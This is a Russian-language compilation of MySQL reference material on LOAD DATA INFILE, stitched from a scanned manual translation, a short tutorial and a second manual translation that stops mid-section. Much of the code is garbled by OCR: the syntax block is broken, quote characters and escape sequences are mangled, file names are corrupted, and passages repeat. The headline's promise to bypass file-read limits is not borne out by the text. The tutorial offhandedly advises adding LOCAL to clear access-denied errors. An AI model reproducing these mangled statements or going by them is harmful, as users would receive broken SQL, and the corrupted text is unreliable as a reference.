Справочное руководство по MySQL. Обходим ограничение на чтение файлов в MySQL Load data local infile примеры

Синтаксис LOAD DATA INFILE

LOAD DATA INFILE "имя_файла. txt" INTO TABLE имя_таблицы
[ ENCLOSED BY "]
]
]
[{имя_столбца,... )]
Оператор LOAD DATA INFILE читает строки из текстового файла и загружает их в таб-лицу на очень высокой скорости.
Вы можете также загружать файлы данных с помощью утилиты mysql import. Она работает, посылая на сервер оператор LOAD data INFILE. Опция --local заставляет ути-литу mysqlimport читать файл данных с клиентского хоста. Вы можете указать опцию -compress для повышения производительности в медленных сетях, если клиент и сер-вер поддерживают сжатый протокол.
Если указано ключевое слово LOW_PRIORITY, выполнение оператора LOAD DATA откла-дывается до тех пор, пока все остальные клиенты не завершат чтение.
Если указано ключевое слово CONCURRENT с таблицей MyISAM, которая удовлетворяет условию параллельных вставок (то есть не имеет свободных блоков в середине файла), то другие потоки смогут извлекать данные из таблицы одновременно с выполнением LOAD DATA. Применение этой опции немного сказывается на производительности LOAD DATA, даже если ни один другой поток с этой таблицей не работает.
Если указано ключевое слово LOCAL, оно касается клиентской части соединения.

  1. Если слово LOCAL указано, файл читается клиентской программой на хосте клиента и отправляется на сервер.
  2. Если слово LOCAL не указано, загружаемый файл должен находиться на хосте сервера, и читается сервером непосредственно.

LOCAL доступно в MySQL 3.22.6 и более поздних версиях.
Из соображений безопасности при чтении текстовых файлов, расположенных на сер-вере, файлы должны либо находиться в каталоге данных, либо быть доступными всем по чтению. Кроме того, чтобы использовать LOAD DATA с серверными файлами, вы должны иметь привилегию FILE.
Загрузка с опцией LOCAL идет несколько медленнее, чем когда вы даете серверу воз-можность непосредственного доступа к загружаемым файлам, потому что в этом случае содержимое файлов передается по сети через клиент-сер верное соединение. С другой стороны, в этом случае вам не нужны привилегии FILE.
Начиная с версий MySQL 3.23.49 и MySQL 4.0.2 (4.0.13 для Windows), LOCAL работа-ет, только если и клиент, и сервер разрешают это. Например, если mysqld запущен с оп-цией -local-inf ile=0, то LOCAL работать не будет.

Если вам нужно с помощью LOAD DATA читать из программного канала, вы можете применить следующую технику:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
cat < /dev/tcp/10.1.1.12/4711 > /mysql/db/x/x
mysql -e "LOAD DATA INFILE "x1 INTO TABLE x" x
Если вы работаете с версией MySQL, предшествующей 3.23.25, то эту технику мож-но применять только с LOAD DATA LOCAL INFILE.
Если у вас версия MySQL, предшествующая 3.23.24, то вы не сможете читать с по-мощью оператора LOAD DATA INFILE из FIFO. Если вам нужно читать из FIFO (напри-мер, из выходного потока gunzip), применяйте вместо этого LOAD DATA LOCAL INFILE.
При поиске файла в своей файловой системе сервер руководствуется следующими правилами:

  1. Если задан абсолютный путь, сервер его использует, как есть.
  2. Если задан относительный путь с одним или более ведущими компонентами, сервер ищет файлы относительно своего каталога данных.
  3. Если задано имя файла без ведущих компонентов пути, сервер ищет файл в каталоге данных базы данных по умолчанию.

Отметим, что из этих правил следует, что файл с именем./myfile.txt читается из каталога данных сервера, в то время как файл с именем myfile,txt читается из каталога данных базы данных по умолчанию. Например, следующий оператор LOAD DATA INFILE читает файл data.txt из каталога данных базы dbl, потому что dbl -текущая база дан-ных, несмотря на то, что оператор загружает данные в базу данных db2:
mysql> USE dbl;
mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;
Ключевые слова REPLACE и IGNORE управляют работой с входными строками, которые дублируют существующие по значению уникальных ключей.
Если указано REPLACE, входные строки заменяют существующие строки (другими словами, строки, которые имеют те же значения первичных или уникальных ключей, как и существующие в таблице строки). См. раздел Синтаксис REPLACE
Если указано IGNORE, то входные строки, которые дублируют существующие строки с теми же значениями первичных или уникальных ключей, пропускаются. Если не указана ни одна, ни другая опции, то поведение зависит от того, указано ли ключевое слово local. При отсутствии LOCAL, в случае обнаружения дублирования ключа генерируется ошибка, а остаток текстового файла игнорируется. При наличии LOCAL, поведение по умолчанию будет таким же, как если бы было указано IGNORE. Это объясняется тем, что сервер не в состоянии остановить передачу файла в процессе выполнения этой операции.
Если вы хотите игнорировать ограничения внешних ключей в процессе операции за-грузки данных, вы можете выполнить оператор SET FOREIGN_KEY_CHECKS=0 перед запус-ком LOAD DATA.
Если вы запускаете LOAD DATA для пустой таблицы MyISAM, все неуникальные индек-сы создаются в отдельном задании (как для REPAIR TABLE). Обычно это приводит к тому, что при наличии многих индексов LOAD DATA выполняется гораздо быстрее. Как правило, это работает очень быстро, но в некоторых особых случаях вы можете создать индексы даже еще быстрее, выключив их через ALTER TABLE.. .DISABLE KEYS перед загрузкой

файла в таблицу, пересоздав индексы и включив их с помощью ALTER TABLE.. .ENABLE KEYS после окончания загрузки.
LOAD DATA INFILE - это дополнение для SELECT.. .INTO OUTFILE. См. раздел Синтаксис SELECT Для записи данных из таблицы в файл пользуйтесь SELECT... INTO OUTFILE. Чтобы про-читать данные обратно из файла в таблицу, воспользуйтесь LOAD DATA INFILE. Синтак-сис конструкций FIELDS и LINES одинаков для обоих операторов. Обе эти конструкции не обязательны, но fields должна предшествовать LINES, если указаны обе.
Если указана конструкция FIELDS, то все ее параметры (TERMINATED BY, ENCLOSED BY и ESCAPED BY) также не обязательны, за исключением требования, что обя-зательно должен присутствовать хотя бы один параметр.
Если конструкция FIELDS не указана, по умолчанию принимается следующий вид:
FIELDS TERMINATED BY "tf ENCLOSED BY " ESCAPED BY "
Если не указана конструкция LINES, по умолчанию принимается такой вариант:
LINES TERMINATED BY "n! STARTING BY "
Другими словами, поведение по умолчанию LOAD DATA INFILE при чтении ввода та-ково:

  1. Искать разделители строк в начале строк.
  2. Не пропускать никаких префиксов строки.
  3. Разбивать строку на поля по знакам табуляции.
  4. Не ожидать, что поля будут заключены в кавычки.
  5. Интерпретировать появление знака табуляции, перевода строки или символа "\ которым предшествует с\ как литеральные символы, являющиеся частью значения поля.

И наоборот, SELECT... INTO OUTFILE по умолчанию ведет себя следующим образом:

  1. Пишет знаки табуляции между полями.
  2. Не окружает значения полей кавычками.
  • Использует *" для выделения знаков табуляции, перевода строк или "\ встре-чающихся внутри значений полей.
  • Пишет символ перевода строки в конце строк.
Следует отметить, что для написания FIELDS ESCAPED BY "W потребуется указать два знака обратной косой черты для значений, в которых нужно читать одну обратную косую черту.
На заметку!
Если вы сгенерировали текстовый файл в системе Windows, возможно, вам понадобится задать LINES TERMINATED BY "rn чтобы правильно прочитать файл, поскольку программы Windows обычно используют эти два символа в качестве разделителя строк. Некоторые про-граммы, подобные WordPad, при записи файлов могут использовать символ "г" в качестве разделителя строк. Чтобы читать такие файлы, используйте LINES TERMINATED BY "r".
Если все строки читаемого файла имеют общий префикс, который вы хотите игнорировать, используйте LINES STARTING BY " строка_префиксах для того, чтобы пропускать этот префикс. Если строка не содержит префикса, она пропускается вся целиком.

Опция IGNORE количество LINES служит для игнорирования заданного количества строк в начале файла. Например, вы можете воспользоваться IGNORE I LINES, чтобы пропустить начальную строку, содержащую имена столбцов:
mysql> LOAD DATA INFILE "/tmp/test.txt" -> INTO TABLE test IGNORE 1 LINES;
Когда вы применяете SELECT... INTO OUTFILE в связке с LOAD DATA INFILE для записи данных из базы в файл и последующего его чтения и загрузки обратно в базу, опции управления строками и полями для обоих операторов должны совпадать. В противном случае LOAD DATA INFILE не сможет правильно интерпретировать содержимое текстово-го файла. Предположим, что вы с помощью SELECT.. .INTO OUTFILE вывели данные в текстовый файл, разделяя поля запятыми:
mysql> SELECT * INTO OUTFILE "data.txt" -> FIELDS TERMINATED BY"," -> FROM table2;
Чтобы прочитать разделенный запятыми файл обратно, правильно будет поступить так:
mysql> LOAD DATA INFILE "data.txt1 INTO TABLE table2 -> FIELDS TERMINATED BY
Если вместо этого вы попытаетесь прочитать его оператором, приведенным ниже, это не сработает, потому что LOAD DATA INFILE будет искать символы табуляции между значениями полей:
mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 -> FIELDS TERMINATED BY "t";
Наиболее вероятным результатом будет интерпретация входной строки как единст-венного поля.
LOAD DATA INFILE также может использоваться для чтения файлов из внешних ис-точников. Например, некоторый файл может иметь поля, разделенные запятыми и за-ключенные в двойные кавычки. Если строки в файле разделены символом новой строки, приведенный ниже пример иллюстрирует, какие должны быть установлены опции раз-делителей строк и столбцов для загрузки файла:
mysql> LOAD DATA INFILE "data.txt" INTO TABLE имя_таблицы -> FIELDS TERMINATED BY 1,1 ENCLOSED BY "" -> LINES TERMINATED BY "n";
Любым опциям, задающим ограничители строк и столбцов, можно указывать в каче-стве аргументов пустые строки ("). Если же аргументы - не пустые строки, то значения ДЛЯ FIELDS ENCLOSED BY И FIELDS ESCAPED BY ДОЛЖНЫ быть ОДНОСИМ-ВОЛЬНЫМИ. Аргументы ОПЦИЙ FIELDS TERMINATED BY, LINES STARTING BY И LINES TERMINATED BY могут иметь длину более одного символа. Например, чтобы писать стро-ки, разделенные символами возврат каретки/перевод строки, либо чтобы читать файлы, содержащие такие строки, указывайте конструкцию LINES TERMINATED BY "rn".
Чтобы прочитать файл, разделенный по строкам символами %%, можно поступить следующим образом:
mysql> CREATE TABLE jokes
-> (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> joke TEXT NOT NULL) ;

mysql> LOAD DATA INFILE "/tmp/jokes,txf INTO TABLE jokes -> FIELDS TERMINATED BY "" -> LINES TERMINATED BY "\n%%\n" (joke) ;
FIELDS ENCLOSED BY управляет ограничителями (кавычками) полей. При выводе (SELECT... INTO OUTFILE), если пропустить слово OPTIONALLY, все поля бу-дут окружены символом, указанным в ENCLOSED BY. Пример такого вывода (с использо-ванием запятой в качестве разделителя полей) показан ниже:
"1","а string","100.20"
"2","a string containing a , comma","102.20"
"3","а string containing a \" quote","102.20"
"4","a string containing a \", quote and comma","102.20"
Если вы указываете OPTIONALLY, то символ ENCLOSED BY применяется только для за-ключения в кавычки полей типа CHAR и VARCHAR:
1,"а string",100.20
3,"а string containing a \" quote",102.20
4,"a string containing a \", quote and comma",102.20
Обратите внимание, что вхождения символа, указанного в ENCLOSED BY, внутри зна-чения поля предваряется символом, заданным в ESCAPED BY. Кроме того, если указать пустое значение для ESCAPED BY, возможно, что будет сгенерирован файл, который LOAD DATA INFILE не сумеет правильно загрузить.
Например, если символ отмены оставить пустым, приведенный выше вывод будет выглядеть так, как показано ниже. Несложно заметить, что второе поле в четвертой строке содержит запятую, следующую за кавычкой, которая (ошибочно) будет выгля-деть как разделитель полей.
1,"а string",100.20
2,"a string containing a , comma",102.20
3,"а string containing a " quote",102.20
4,"a string containing a ", quote and comma",102.20
При вводе символ ENCLOSED BY, если он есть, удаляется из конца значения полей. (Это верно вне зависимости от того, указано или нет слово OPTIONALLY. Данное слово не имеет никакого эффекта при интерпретации ввода.) Появление символов ENCLOSED BY с предше-ствующим символом ESCAPED BY интерпретируется как часть текущего значения поля.
Если поле начинается с символа ENCLOSED BY, экземпляры этого символа интерпре-тируются как завершение значения поля, только если за ними следует поле или последо-вательность TERMINATED BY. Чтобы избежать неоднозначности при появлении символа ENCLOSED BY внутри значения поля, этот символ может быть продублирован, и будет интерпретироваться как единственный экземпляр символа. Например, если задается ENCLOSED BY "", кавычки обрабатываются следующим образом:
"The ""BIG"" boss" -> The "BIG" boss The "BIG" boss -> The "BIG" boss The ""BIG"" boss -> The ""BIG"" boss
FIELDS ESCAPED BY управляет чтением или записью специальных символов. Если ар-гумент FIELDS ESCAPED BY не пустой, он используется в качестве префикса для следую-щих символов в выводе:

  1. Символа FIELDS ESCAPED BY.
  2. Символа FIELDS ENCLOSED BY.
  3. Первого СИМВОЛа последовательностей FIELDS TERMINATED BY И LINES TERMINATED BY.
  4. ASCII 0 (который пишется вслед за символом отмены как ASCII "0", а не нулевой байт).

Если символ FIELDS ESCAPED BY пуст, никакие символы не предваряются символами отмены, и NULL выводится как NULL, а не \N. Вероятно, это не очень хорошая мысль -оставлять пустым аргумент FIELDS ESCAPED BY, особенно, если значения полей ваших данных содержат любой из упомянутых символов.
При вводе, если FIELDS ESCAPED BY не пуст, то при появлении этого символа в строке значения он удаляется, а следующий за ним символ читается литерально, как часть зна-чения поля. Исключениями являются последовательности "0" или "N" (SYS-PAGE-CONTENT или \N, если символом отмены выбран "\"). Эти последовательности интерпретируются, соответст-венно, как ASCII NUL (нулевой байт) и NULL. Правила обращения с NULL описаны ниже в настоящем разделе.
Более подробную информацию о синтаксисе отмены "\" можно найти в разделе Литеральные значения
В некоторых случаях опции, управляющие полями и строками, взаимодействуют ме-жду собой:

  1. Если указана пустая строка для LINES TERMINATED BY, a FIELDS TERMINATED BY непуст, то разделителем строк также служит LINES TERMINATED BY.
  2. ЕСЛИ пусты И FIELDS TERMINATED BY И FIELDS ENCLOSED BY, ИСПОЛЬЗуется формат фиксированной строки (без разделителей). В этом формате не применяется никаких разделителей между полями (но можно иметь разделитель строк). Вместо этого значения столбцов пишутся и читаются с использованием ширины отображения столбцов. Например, если столбец объявлен как INT (7), значения столбца записываются в семисимвольное поле. При вводе значения столбца извлекаются чтением семи символов.

LINES TERMINATED BY по-прежнему используется для разделения строк. Если стро-ка не содержит всех полей, остальным столбцам присваиваются их значения по умолчанию. Если у вас нет терминатора строки, его значение нужно установить в 1". В этом случае текстовый файл должен содержать все поля в каждой строке. Формат с фиксированной длиной строки также касается работы со значениями NULL, как описано ниже. Следует отметить, что формат фиксированной длины не работает, если используется многобайтный набор символов (например, Unicode).
Обработка значений NULL варьируется в зависимости от применяемых опций FIELDS и LINES:

  1. При значениях FIELDS и LINES по умолчанию NULL пишется как значение поля ввиде \N для вывода и это же значение \N читается как NULL при вводе (предполагая, что символ ESCAPED BY установлен в "\")-
  2. Если FIELDS ENCLOSED BY не пустой, то поле, содержащее литеральное слово NULL, читается как значение NULL. Это отличается от случая, когда слово NULL ограничено символами FIELDS ENCLOSED BY, когда значение читается, как строка"NULL".
  3. Если FIELDS ESCAPED BY пустое, NULL пишется как слово NULL.
  • При формате с фиксированной длиной строки (что случается, когда и FIELDS TERMINATED BY, и FIELDS ENCLOSED BY пустые) NULL записывается как пустая строка. Отметим, что это приводит к тому, что значения NULL и пустые строки в таблице становятся неразличимы при записи в файл, поскольку в обоих случаях пишутся пустые строки. Если вам необходимо делать различие между ними, избегайте использования формата с фиксированной длиной строки.
    Ниже представлены некоторые случаи, не поддерживаемые LOAD DATA INFILE:
    1. Строки фиксированной ДЛИНЫ (FIELDS TERMINATED BY И FIELDS ENCLOSED BY nycтые) при наличии столбцов тира TEXT или BLOB.
    2. Если вы указываете разделитель, который совпадает с префиксом другого, LOAD DATA INFILE не может правильно интерпретировать входной поток. Например, следующий вариант приведет к проблемам:

    FIELDS TERMINATED BY "" ENCLOSED BY ""

    • Если FIELDS ESCAPED BY пуст, значения полей, которые включают в себя символы FIELDS ENCLOSED BY ИЛИ LINES TERMINATED BY С последующим СИМВОЛОМ LINES TERMINATED BY, заставят LOAD DATA INFILE слишком рано прекратить чтение файла или строки. Это произойдет потому, что LOAD DATA INFILE не может правильно определить, где завершается значение поля или строки. Следующий пример загружает все столбцы таблицы persondata: mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;
      По умолчанию, если в конце оператора LOAD DATA INFILE не приведен список столб-цов, ожидается, что во входящей строке содержатся поля для каждого столбца таблицы. Если вы хотите загрузить только некоторые из столбцов таблицы, указывайте список столбцов:
      mysql> LOAD DATA INFILE "persondata.txt1
      -> INTO TABLE persondata (coll,col2,...);
      Вы также должны указывать список столбцов, если порядок полей во входном файле отличается от порядка столбцов в таблице. В противном случае MySQL не сможет уста-новить соответствие между входными полями и столбцами таблиц.
      Если входной файл имеет слишком мало полей в строках, то недостающим столбцам будут присвоены значения по умолчанию. Присвоение значений по умолчанию описано в разделе Синтаксис CREATE TABLE
      Пустые значения полей интерпретируются иначе, чем пропущенные:
      1. Для строковых типов - столбцу присваивается пустая строка.
      2. Для числовых типов - столбцу присваивается 0.
      3. Для типов даты и времени - столбец устанавливается в соответствующее типу
        "нулевое" значение. См. раздел Типы даты и времени

      Это те же значения, что получаются в результате явного присвоения пустой строки столбцам этих типов в операторах INSERT или UPDATE.
      Значения столбцов типа TIMESTAMP устанавливаются в текущую дату и время, только если им присваивается значение NULL (то есть, \N), либо если столбец этого типа пропу-щен в списке полей, если список полей приведен.

      LOAD DATA INFILE рассматривает весь ввод, как строковый, поэтому вы не можете использовать числовые значения для столбцов типа ENUM или SET, как это допускается в операторах INSERT. Все значения ENUM или SET должны указываться как строки!
      Когда оператор LOAD DATA INFILE завершает работу, он возвращает информацион-ную строку в следующем формате:
      Records: I Deleted: 0 Skipped: 0 Warnings: О
      Если вы работаете с программным интерфейсом С API, то можете получить инфор-мацию об этом операторе, обратившись к функции mysql_info().
      Предупреждения, которые появляются при некоторых условиях, такие же, как при вставке значений оператором INSERT (см. раздел 6.1.4), за исключением того, что LOAD DATA INFILE кроме них генерирует предупреждения о том, что во входном файле слиш-ком мало или слишком много полей. Предупреждения нигде не сохраняются, количество предупреждений может быть использовано только как признак того, что все прошло ус-пешно.
      Начиная с MySQL 4.1.1, вы можете использовать SHOW WARNINGS для получения спи-ска первых max_error_count предупреждений в качестве информации о том, что при загрузке прошло не так, как надо. См. раздел Синтаксис SHOW WARNINGS
      До MySQL 4.1.1 только количество предупреждений было признаком того, что за-грузка прошла не гладко. Если вы получаете предупреждение и хотите знать точно, почему оно появились, единственный путь сделать это - с помощью SELECT.. .INTO OUTFILE выгрузить дамп таблицы в другой файл и сравнить его с оригинальным вход-ным файлом.

Вам когда-нибудь приходилось загружать данные из файла в таблицу из файла? Если нет, то я попробую кратко рассказать вам об одном способе это сделать.

Загрузить данные в таблицу из файла

LOAD DATA INFILE "data.csv" INTO TABLE my_table Такая конструкция поможет вам загрузить данные из файла в вашу таблицу.

Если вы хотите загрузить отформатированные данные, скажем разделенные запятой, то вам поможет следующая конструкция:

LOAD DATA INFILE "data.csv" INTO TABLE my_table FIELDS TERMINATED BY "," ENCLOSED BY """ ESCAPED BY "\\" LINES TERMINATED BY "\r\n"
Что это означает?

  • Искать концы строк в виде символов "\r\n"
  • Разбивать строки на поля по символам запятой (,).
  • Ожидать, что поля могут быть заключены в символы цитирования.
  • Интерпретировать встречающиеся символы табуляции, новой строки или "\", предваренные "\", как литералы, являющиеся частью значения поля.

Конструкция LOAD DATA INFILE

Все, что мы описали выше, это знаменитая конструкция LOAD DATA INFILE.

Ошибка Access denied for user

Если у вас вдруг возникла ошибка Access denied for user , то вам нужно просто добавить атрибут LOCAL перед INFILE. Например:

LOAD DATA LOCAL INFILE "data.csv" INTO TABLE my_table

Загрузить данные в таблицу из файла для конкретных полей

LOAD DATA LOCAL INFILE "data.csv" INTO TABLE t1 FIELDS TERMINATED BY "," LINES TERMINATED BY "\n" (@ col1 ,@ col2 ,@ col3 ,@ col4 ) set name [email protected] col4 , id [email protected] col2 ;

Здесь мы указываем имя файла (data.csv), с которого будет производится загрузка данных. В конструкции (@col1,@col2,@col3,@col4) мы нумеруем все столбцы файла для дальнейшего их использования. А далее при помощи знакомого нам метода set устанавливаем значения этих столбцов для конкретных полей таблицы.

LOAD DATA INFILE вместе с JOIN

Если вам нужно заполнить таблицу из файла используя уже существующую, вам наверняка сразу пришло в голову использовать join. Код для такой вставки данных выглядит примерно так:

LOAD DATA LOCAL INFILE "data.csv" INTO TABLE table_1 FIELDS TERMINATED BY "\t" LINES TERMINATED BY "\r\n" (@col1,@col2,@col3,@col4) set [email protected], username=(select username from users where user_id = @col1);

LOAD DATA INFILE "file_name.txt" INTO TABLE tbl_name [ ENCLOSED BY ""] ] [(col_name,...)]

Команда LOAD DATA INFILE читает строки из текстового файла и вставляет их в таблицу с очень высокой скоростью. Если задано ключевое слово LOCAL , то файл читается с клиентского хоста. Если же LOCAL не указывается, то файл должен находиться на сервере. (Опция LOCAL доступна в версии MySQL 3.22.6 и более поздних.)

Если текстовые файлы, которые нужно прочитать, находятся на сервере, то из соображений безопасности эти файлы должны либо размещаться в директории базы данных, либо быть доступными для чтения всем пользователям. Кроме того, для применения команды LOAD DATA INFILE к серверным файлам необходимо обладать привилегиями FILE для серверного хоста. See section 4.2.7 Привилегии, предоставляемые MySQL .

В версиях MySQL 3.23.49 и MySQL 4.0.2 команда LOCAL не будет работать в случаях, если демон mysqld запущен с параметром --local-infile=0 или если для клиента не включена возможность поддержки LOCAL . See section 4.2.4 Вопросы безопасности, относящиеся к команде LOAD DATA LOCAL .

Если указывается ключевое слово LOW_PRIORITY , то выполнение данной команды LOAD DATA будет задержано до тех пор, пока другие клиенты не завершат чтение этой таблицы.

Если указывается ключевое слово CONCURRENT при работе с таблицами MyISAM , то другие потоки могут извлекать данные из таблицы во время выполнения команды LOAD DATA . Использование этой возможности, конечно, будет немного влиять на производительность выполнения LOAD DATA , даже если никакой другой поток не использует данную таблицу в это же время.

При применении опции LOCAL выполнение может происходить несколько медленнее в сравнении с предоставлением серверу доступа к файлам напрямую, поскольку содержимое файла должно переместиться с клиентского хоста на сервер. С другой стороны, в этом случае нет необходимости в привилегиях FILE для загрузки локальных файлов.

При использовании версий MySQL до 3.23.24 при помощи команды LOAD DATA INFILE нельзя выполнять чтение из FIFO . Если необходимо читать из FIFO (например, стандартный вывод gunzip), следует использовать LOAD DATA LOCAL INFILE .

Можно также загружать файлы данных, используя утилиту mysqlimport . Эта утилита выполняет загрузку файлов путем посылки на сервер команд LOAD DATA INFILE . Опция --local заставляет mysqlimport читать файлы данных с клиентского хоста. Можно указать параметр --compress , чтобы получить лучшую производительность при работе через медленные сети, если и клиент, и сервер поддерживают протокол сжатия данных.

В случаях, когда файлы находятся на сервере, последний действует по следующим правилам:

  • Если задан абсолютный (полный) путь к файлу, то сервер использует этот путь без изменений.
  • Если задан относительный путь к файлу с указанием одного или более начальных каталогов, то поиск файла будет осуществляться относительно указанных каталогов в каталоге данных сервера (datadir).
  • Если дается путь к файлу без указания начальных каталогов, то сервер ищет этот файл в директории используемой базы данных.

Отсюда следует, что файл, заданный как `./myfile.txt" , читается из серверного каталога данных, в то время как файл, заданный как `myfile.txt" , читается из каталога используемой базы данных. Например, следующая команда LOAD DATA читает файл data.txt в каталоге базы данных для db1 , поскольку db1 является текущей базой данных, даже если эта команда явно содержит указание загрузить файл в таблицу базы данных db2:

Mysql> USE db1; mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;

Ключевые слова REPLACE и IGNORE управляют обработкой входных записей, которые дублируют существующие записи с теми же величинами уникальных ключей. Если указать REPLACE , то новые строки заменят существующие с таким же уникальным ключом. Если указать IGNORE , то входные строки, имеющие тот же уникальный ключ, что и существующие, будут пропускаться. Если не указан ни один из параметров, то при обнаружении дублирующегося значения ключа возникает ошибка и оставшаяся часть текстового файла игнорируется.

Если данные загружаются из локального файла с использованием ключевого слова LOCAL , то сервер не сможет прервать передачу данных посреди этой операции, поэтому по умолчанию выполнение команды происходит так же, как и в случае, когда указывается IGNORE .

При использовании LOAD DATA INFILE на пустых таблицах MyISAM все неуникальные индексы создаются в отдельном пакете (как в REPAIR). Обычно это значительно ускоряет работу LOAD DATA INFILE в случае большого количества индексов.

Команда LOAD DATA INFILE является дополнительной к SELECT ... INTO OUTFILE . See section 6.4.1 Синтаксис оператора SELECT . Чтобы записать данные из базы данных в файл, используется SELECT ... INTO OUTFILE . Чтобы прочитать данные обратно в базу данных, используется LOAD DATA INFILE . Синтаксис FIELDS и LINES одинаков в обеих командах. Обе части являются необязательными, но если указаны оба, то FIELDS должно предшествовать LINES .

Если указывается FIELDS , то каждое из его подвыражений (TERMINATED BY , ENCLOSED BY , и ESCAPED BY) также является необязательным, однако необходимо указать по меньшей мере одно из них.

Если утверждение FIELDS не определено, то по умолчанию его параметры будут принимать следующие значения:

FIELDS TERMINATED BY "\t" ENCLOSED BY "" ESCAPED BY "\\"

Если утверждение LINES не определено, то по умолчанию оно имеет следующую структуру:

LINES TERMINATED BY "\n"

Иными словами, при установках по умолчанию команда LOAD DATA INFILE при чтении входных данных будет работать следующим образом:

  • Искать концы строк в виде символов `\n"
  • Разбивать строки на поля по символам табуляции.
  • Не ожидать, что поля могут быть заключены в символы цитирования.
  • Интерпретировать встречающиеся символы табуляции, новой строки или `\" , предваренные `\" , как литералы, являющиеся частью значения поля.

И, наоборот, если действуют установки по умолчанию при записи выходных данных, команда SELECT ... INTO OUTFILE будет работать следующим образом:

  • Вставлять символы табуляции между полями.
  • Не заключать поля в символы цитирования. Использовать символы `\" для экранирования экземпляров символов табуляции, новой строки или `\" , которые появляются среди величин поля.
  • Вставлять символы новой строки в конце каждой записи.

Следует учитывать, что в записи FIELDS ESCAPED BY `\" необходимо указывать два обратных слеша для величины, которая должна читаться как один обратный слеш.

Опцию IGNORE number LINES можно применять для игнорирования заголовка имен столбцов в начале файла:

Mysql> LOAD DATA INFILE "/tmp/file_name" INTO TABLE test IGNORE 1 LINES;

При использовании SELECT ... INTO OUTFILE совместно с LOAD DATA INFILE для того, чтобы данные из базы данных прочитать в файл, а затем - обратно из файла в базу данных, опции, обрабатывающие поля и строки, для обеих команд должны совпадать. В противном случае LOAD DATA INFILE не сможет интерпретировать содержимое данного файла правильно. Предположим, что команда SELECT ... INTO OUTFILE используется для записи в файл с полями, разделенными запятыми:

Mysql> SELECT * INTO OUTFILE "data.txt" FIELDS TERMINATED BY "," FROM ...;

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY ",";

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY "\t";

Похожий результат получился бы, если бы каждая входная строка интерпретировалась как отдельное поле.

Команду LOAD DATA INFILE можно также использовать для чтения файлов, полученных из внешних источников. Например, поля в файле формата базе данных dBASE будут разделены запятыми и заключены в двойные кавычки. Если строки в данном файле заканчиваются символами новой строки, то для записи файла можно использовать приведенную ниже команду, в которой проиллюстрировано задание опций, обрабатывающих поля и строки:

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE tbl_name FIELDS TERMINATED BY "," ENCLOSED BY """ LINES TERMINATED BY "\n";

Любая из опций, обрабатывающих поля и строки, может задавать пустую строку (""). Если строка не пустая, то величины опций FIELDS ENCLOSED BY и FIELDS ESCAPED BY должны содержать один символ. Величины опций FIELDS TERMINATED BY и LINES TERMINATED BY могут содержать более чем один символ. Например, чтобы записать строки, заканчивающиеся парами ``возврат каретки - перевод строки"" (как в текстовых файлах MS DOS или Windows), необходимо задать следующее выражение: LINES TERMINATED BY "\r\n" .

CREATE TABLE jokes (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joke TEXT NOT NULL); LOAD DATA INFILE "/tmp/jokes.txt" INTO TABLE jokes FIELDS TERMINATED BY ""; LINES TERMINATED BY "\n%%\n" (joke);

Опция FIELDS ENCLOSED BY служит для управления полями, заключенными в заданные символы. Если параметр OPTIONALLY опущен, то в выводе (SELECT ... INTO OUTFILE) все поля будут заключены в символы, заданные в ENCLOSED BY . Пример такого вывода (в котором в качестве разделителя полей используется запятая) показан ниже:

"1","a string","100.20" "2","a string containing a , comma","102.20" "3","a string containing a \" quote","102.20" "4","a string containing a \", quote and comma","102.20"

Если указан параметр OPTIONALLY , то заданным в ENCLOSED BY символом выделяются только поля типа CHAR и VARCHAR:

1,"a string",100.20 2,"a string containing a , comma",102.20 3,"a string containing a \" quote",102.20 4,"a string containing a \", quote and comma",102.20

Следует учитывать, что появление символов ENCLOSED BY внутри величины поля экранируется применением перед ними префикса из ESCAPED BY . Также следует учитывать, что если в ESCAPED BY указана пустая величина, то существует возможность создать вывод, который оператор LOAD DATA INFILE не сможет правильно прочитать. Например, если символ экранирования является пустой строкой, то вывод, представленный выше, окажется таким, как показано ниже. Обратите внимание: второе поле в четвертой строке содержит запятую, следующую за кавычкой, которая (ошибочно) появляется, чтобы ограничить данное поле:

1,"a string",100.20 2,"a string containing a , comma",102.20 3,"a string containing a " quote",102.20 4,"a string containing a ", quote and comma",102.20

Для ввода символ ENCLOSED BY , если он есть, удаляется из обоих концов величин полей. (Это справедливо независимо от того, указан или нет параметр OPTIONALLY: при работе с входными данными параметр OPTIONALLY не учитывается.) Если встречается символ ENCLOSED BY , которому предшествует символ ESCAPED BY , то он интерпретируется как часть текущей величины поля. Кроме того, двойные символы ENCLOSED BY , встречающиеся внутри поля, интерпретируются как одиночные символы ENCLOSED BY , если данное поле само начинается с этого символа. Например, если указывается ENCLOSED BY """ , то кавычки обрабатываются, как показано ниже:

"The ""BIG"" boss" -> The "BIG" boss The "BIG" boss -> The "BIG" boss The ""BIG"" boss -> The ""BIG"" boss

Опция FIELDS ESCAPED BY служит для управления записью или чтением специальных символов. Если символ FIELDS ESCAPED BY не пустой, он используется в качестве префикса для следующих символов в выводе:

  • Символ FIELDS ESCAPED BY
  • Символ FIELDS ENCLOSED BY
  • Первый символ величин FIELDS TERMINATED BY и LINES TERMINATED BY
  • Символ ASCII 0 (в действительности после экранирующего символа пишется ASCII `0" , а не байт с нулевой величиной)

Если символ FIELDS ESCAPED BY пустой, то никакие символы не экранируются. На самом деле указывать пустой экранирующий символ нет смысла, особенно если величины полей в обрабатываемых данных содержат какие-либо из символов, указанных в приведенном выше списке.

Если символ FIELDS ESCAPED BY не пуст, то в случае входных данных вхождения такого символа удаляются и следующий за таким вхождением символ принимается буквально как часть величины поля. Исключениями являются экранированные `0" или `N" (например, \0 или \N , если экранирующим символом является `\"). Эти последовательности интерпретируются как ASCII 0 (байт с нулевой величиной) и NULL . См. ниже правила обработки величины NULL .

Чтобы получить более полную информацию о синтаксисе экранирующего символа `\" см. раздел section 6.1.1 Литералы: представление строк и чисел .

В ряде случаев опции обработки полей и строк взаимодействуют:

